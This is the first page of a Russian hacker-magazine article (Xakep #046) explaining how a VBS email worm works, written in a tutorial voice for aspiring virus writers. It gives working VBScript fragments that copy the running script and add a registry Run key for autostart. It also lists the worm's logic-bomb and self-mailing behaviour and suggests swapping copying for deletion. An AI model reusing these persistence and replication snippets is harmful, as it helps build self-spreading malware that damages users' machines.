Интернет черви. Технология работы одного червя на VBS

Xakep, номер #046, стр. 046-052-1


Dr.Zlobyus (cool16@e-mail.ru)

Что я вижу: "Помогите начинающему вирьмейкеру...", "Хочу научиться делать вири, я начинающий...", "Скажите начинающему кодеру, как создать Интернет-червя...". Хе-хе, товарищи. Таких "надписей" в Интернете становится все больше, как будто всем вдруг захотелось написать ILOVEYOU, да еще быстро и с комфортом. И чтобы исходник выслали!

"Начинающие", как показывает статистика, это такие ребята, которые еще ничего не начали, но уже хотят кончить. Поэтому, дабы развеять некоторые неясности и уменьшить количество неграмотных, послушаем, как создаются эти Интернет-червячки. Чтобы всем было легко и понятно, примером мы возьмем программу на VBS. Наверняка многие слышали о нем. Данный червяк при грамотном написании пролезет на комп врага и друга врага, а потом и дальше пойдет... При этом он будет сравнительно небольших размеров. Например, у меня червь получился размером 4,68 кб.

Что делает этот червь?

Чтобы легче понять принцип написания данного зверька на VBS, будет рассмотрен некоторый червь JOKE-FOR-YOU.txt.vbs. Кстати, он не приходил к кому-нибудь на e-mail :)? Сразу предупреждение: исходник червя весь поместить нельзя, поэтому будут объяснятся лишь основные моменты работы этой увлекательной программки.

Что делает червь:

1. Прописывается в реестр, в папки Windows, повсюду, где только можно :).

2. Копируется туда же.

3. Делает пакости.

4. Создает эффект логической бомбы.

5. Рассылает себя по почте всем, кому можно.

Само действие

Предупреждаю повторно, я опишу только основные функции червя, а не весь исходник, мы тут не вирус пишем, а стараемся понять его технологию, т.ч. пионеры могут закатать губки. Итак, сначала создается папка, в которую кладется копия червя:

Set FSA = CreateObject("Scripting.FileSystemObject")

FSA.CreateFolder("C:\Новая папка")

Теперь копируется запущенный файл в папку:

Set file1 = FSA.GetFile(WScript.ScriptFullName)

file1.Copy("C:\Новая Папка\JOKE-FOR-YOU.TXT.vbs")

Краткое пояснение. Для копирования файла его необходимо сначала найти, это делается с помощью GetFile, далее в скобках ищется запущенный файл, но можно написать так: Set file1 = FSA.GetFile("C:\Xakep.exe"). Тогда скопируется файл Хакер. А Copy можно заменить на более извращенное, например, Delete и т.д.

Писанина в реестр

Далее: для успешной работы червя используется самый огромный баг Windows - возможность правки реестра.

Set WSHShell = WScript.CreateObject("WScript.Shell")

WSHShell.RegWrite"HKLM\Software\Microsoft\Windows\Current Version\Run\Micrpatch1.0","C:\Radias\this-is-a-radio-set-model-group.txt.vbs", "REG_SZ"

Вот оно! Теперь создан параметр Автозагрузки файла this-is-a-radio-set-model-group.txt.vbs, лежащего в папке C:\Radias. Этот файл понадобится для придания эффекта логической бомбы на атакуемой машине пользователя. Как видно, с реестром можно опять же творить все, что угодно. Для этого есть команды вроде: Write, Delete, Read.

А вот и другие пренеприятные действия:

Set FST = CreateObject("Scripting.FileSystemObject")

If FST.FolderExists("C:\Radias") Then // если папка Radias существует, то...

Содержание  Вперед на стр. 046-052-2